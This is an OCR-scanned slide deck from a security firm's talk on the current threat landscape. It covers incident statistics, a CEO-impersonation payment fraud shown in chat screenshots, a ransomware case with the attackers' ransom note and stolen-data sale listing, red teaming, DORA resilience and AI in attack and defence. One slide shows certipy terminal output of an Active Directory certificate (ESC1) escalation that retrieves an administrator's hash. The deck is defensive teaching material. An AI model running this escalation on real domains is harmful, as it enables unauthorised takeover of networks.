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| The landscape today ]

* The landscape today has drastically
changed comparing with 10-15 years
ago

* Basement teenager hackers
practically do not exist anymore

* Today it’s all about:
* Money

 State sponsored attacks
* Which are sometimes also about money

WHERES THE MONEY LEBOWSKI?
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| Real world incidents in the region ]

* Incidents that INFIGO’s incident handling team worked on
 |n 2020 we handled 19 incidents
« |n 2021 we handled 22 incidents
« |n 2022 we handled 21 incidents
« |n 2023 we handled 37 incidents
* In 2024 we handled 23 incidents
« 1n 2025 (so far) we handled 29 incidents

e The latestincident declared 14.11.2025

« Still working on this!
« Suspected nation state attacker
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| Everyone is a target
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16:12 ul 56 @ )
/ 3l Westerberg Frida#2 +
< 3 @J last seen today at 15:51 %

Westerberg Frida#2

We've decided to move forward with an
offer to acquire a company, and keeping
this under wraps is crucial

Understand. No problem...we kept
our conversations so tight that
Friday announcemet was like
lightning from blue sky...:) 1506 &~

So to prevent any leaks, we'll be
handling the offer through our
Croatia subsidiary with your
support. | need you to be discreet
until the public announcement—so
for now, no calls or emails about
this 13:06

Ok. Understood. 5.47 4

At certain point of time | will need
to share with the people who will
need to know. 13:07 &

Of course. For now we are just
securing an offer to enter the

tender. Hopefully if our offer is @

successful we'll need to share the

info and more details 13:09
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16:13 ul 56 @ )
{3 @; Westerberg Frida#2 @—
k last seen today at 16:13

Ok. Thanks for sharing the info.
Keep me updated or sync when
needed. 13:11 &

Hrvoje, as part of the process, all
bidders have to submit a good faith
deposit. | need you to arrange a
payment to the target company
fom our Croatian account to show
we're committed 13:12

| need you to manage that
transaction T

Sure. Do you have a minute for the
call? 1314 &

Voice call
29 sec

<
14:06

| can hear you but very far away
14:07

Voice call
11 min

Y

14:08

Hrvoje it was a pleasure speaking
with you. As discussed we just
validated the seller's request and
details. Ms. Brown shared it with

+ o ©@ ¢
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{ 3}, Westerberg Frida#2 +
< 4 @J last seen today at 16:13 %
Voice call
<
29 sec 14:08

| can hear you but very far away
14:07

Voice call
11 min

<

14:08

Hrvoje it was a pleasure speaking
with you. As discussed we just
validated the seller's request and
details. Ms. Brown shared it with
you by email. | will send a copy
here as well 14:42

They're asking when to expect it to
be completed so they can advise
accordingly 14:43

\\ ARISTONE

Payment Letter Case @
TJ8955.pdf

1 page - 506 KB - pdf

pdf

14:43
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L(Jnce upon a time ...



0‘] Creative attacks

= As every incident, this one also happened on Friday afternoon
= |nitially looked as a ransomware case

= Which is not that interesting - by now everybody knows (or should know) how
to deal withit ...

= There was something different though
= Upon boot, this message was displayed on every server

Malware You are Hacked !!!! Your H.D.D Encrypted ,
Contact Us For Decryption Key

(w889901665@yandex.com) YOURID: 123141
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Creative attacks

FULL BIN
( ,100+EMP,10+YO,MERCH)

For sale is:

» private RSA key for data decryption of ~1TB of docs from main network share + decryptor
software

passwords + AES/SERPANT keys + software for pc/server decrypt

full instructions on how to restore all systems and data back

full logs and info how we broke your security and what we did

45GB SQL database, big mdb base, +500k mail, full web (wp) with sql, about 1.5 TB of data
(docs, cad files..)

login to multiple banks (broke token hashes, very big balance but chaning rapidly!careful), 3 .
AMEZX buissns cards, | AMEX gold card, 3 MASTER/VISA cards.. all cards fresh, got them in
2017 with banking malware and big limits ! got NUMBER, NAME SURNAME, EXP DATE,

CVV + ID SCANS for owners of cards (TWO OF ARE BOARD MEMBERS!!!!, scans are

from their employee/court data) : 1
personal files from CEO and financial director (3 gb of personal emails, docs containing

personal love affairs, scams.., personal photos, full whatsapp dump from CEO phone with

pictures)
price is 100BTC (we can make deal here if fast payment or you don't want all of iy
above) OR 500k USD wire transfer to china. all other info and send bids to mﬁgoa,l’;
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03 The outcome

= This was obviously done by professionals

= Targeted attack (probably by exploiting some of the exposed vulnerable
services)

= |t was not a typical ransomware infection through spear phishing
= Privilege escalation followed by lateral movement and information gathering

= Intruders were on their network for weeks, since they took their time to
exfiltrate the data

= Demonstrated later by attackers by being extremely familiar with the hacked systems

= The company ended up paying for the decryption keys
= Lost ~100K EUR

= Got systems partially back and could continue working oy
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LI\/Ioving from reactive to proactive



Incidents today literally stop businesses

Jaguar Land Rover ransomware attack
Shutdown production for 5-6 weeks

Estimated economic damage ~2 billion pounds
More than 5000 supply chain organizations impacted!

Modern attacks are business-disabling, not just data-stealing

Resilience means: segmentation, backups, tested recovery, manual
fallback, crisis playbooks

When did we last restore backup under pressure?
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Vulnerability scanning

Automated scanning across (hopefully) a whole organization
Should include both external and internal assets

Goal to identify low hanging, known vulnerabilities pre, or post- authentication

Penetration testing

Goal to find ALL vulnerabilities in the target scope
Could be external or internal network
But also web and mobile applications, fat client applications ...

~90% manual effort required with small amount of tooling
Especially for application tests

Running a vulnerability scanner IS NOT a penetration test nfigad
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Emulates tactics, techniques, and procedures (TTPs) of real
adversaries

To improve the people, processes, and technology in the target
environment

Goal to make Blue Team better!

Not to pwn the target organization

Train and measure blue team's detection and ensure response policies,
procedures, and technologies are effective

Almost completely manually done, with some specific red team
automation tools
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Before we start: the target organization needs to be sufficiently
mature in order to fit for a Red Teaming exercise

If they are not performing regular vulnerability scanning (and mitigation), or
have never done an internal penetration test ...

... they are not ready for a Red Team exercise
They will waste their money and resources if not being ready

One prime example:

Active Directory Certificate Services ESC1 attack
Takes about 15 seconds to escalate privileges from a regular user to domain administrator
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And yet - we still see this all the time

certipy—-ad req

[proxychains] config file found: /etc/proxychainsi.conf

[proxychains] preloading /usr/1lib/x86_64-linux—gnu/libproxychains.so.l
[proxychains] DLL init: proxychains-ng 4.16

Certipy vid.7.0 - by Oliver Lyak (Llyudk)

[*] Checking for Web Enrollment on 'http://10.
[proxychains] Strict chain ... 127.0.0.1:10081

[*] Requesting certificate via Web Enrollment
[*] Request ID is 3124

[*] Retrieving certificate for request ID: 3124
[*] Got certificate with UPN ' adm@

[*] Certificate has no object SID

[*] Saved certificate and private key to

www.infigo.hr

certipy-ad auth adm. pfx 10.
[proxychains] config file found: /etc/proxychainsi.conf
[proxychains] preloading /usr/lib/x86_6U4-1linux—gnu/libproxychains.so.4
[proxychains] DLL init: proxychains—-ng 4.16
Certipy vi.7.0 — by Oliver Lyak (lydk)

[*] Using principal:

[*] Trying to get TGT...

[proxychains] Strict chain ... 127.0.0.1:10081
[*] Got TGT

[*#] Saved credential cache to
[*] Trying to retrieve NT hash for | adm’

[proxychains] Strict chain ... 127.0.0.1:10081 ... 10! :88 ...
[*] Got hash for adm@ ': aad3bld35b5140Ueeaad3bU35b51U0Uee

;adm.ccache'

adm@



Multiple cases where a 3" party was breached
Last few years: How to get hacked via someone else

Breach pattern: vendor is hit
Target organization usually compromised over VPN

DORA’s ICT third-party risk pillar: same resilience expectations for
critical providers as for the institution itself

Vendor tiering and criticality mapping
Continuous requirements for security and resilience
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Many recent breaches start with phishing + stolen credentials
|dentity is still the main entry point

Zero Trust: “never trust, always verify”
Many failed or unsuccessful projects
Still worth achieving

Other worthwhile investments
Phishing-resistant MFA (FIDO2/passkeys, hardware tokens)
Systematic service-account and machine-identity management
Behavioral analytics (with caution)
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LAI and the future



01 Offensive Al

= Al today is extremely good at:

= Abusing stupid mistakes (hardcoded creds, exposed internal admin panels,
weak AD hygiene)

= Scaling that across your entire environment or codebase, not just one target in
scope for one week a year

= Generating remediation guidance and retesting after you fix it

= Social engineering attacks
= Almost scary how good itis
= Phishing, deepfakes, you nameit...
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02 Defensive Al

= Writing remediation documentation

= SOC acceleration and proactive threat defense

= Cisco Foundation has amazing models at https://fdtn.ai/
= Great for SOC, horrible for technical writing

= Reverse engineering
= Ghidra or IDA Pro decompilation into an LLM

= Working tirelessly for us with swarms of agents

a—

INfigo i

b1 5
=

20 | www.infigo.hr


https://fdtn.ai/

03 Al is here to stay

= |t is another tool that will be in our arsenal

= | believe it is utterly important for
everyone to use it as much as possible

= But before that, understand where Al is
good, and what are its shortcomings

= Same as with calculator many years ago
= Al will not disappear

= Use it for your own benefits Sarah Connor worried about how you're using Al
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LKey messages



0‘] Key messages

= Attacks are more disruptive and increasingly indirect

= DORAis pushing the sector towards provable, tested resilience
= Especially via TLPT and third-party oversight

= Defense trends
= Assume breach, TLPT and continuous validation
= Third-party and supply-chain defence.
= |dentity & Zero Trust
= Al in defense (and offence)
= Sharing and reporting is a must
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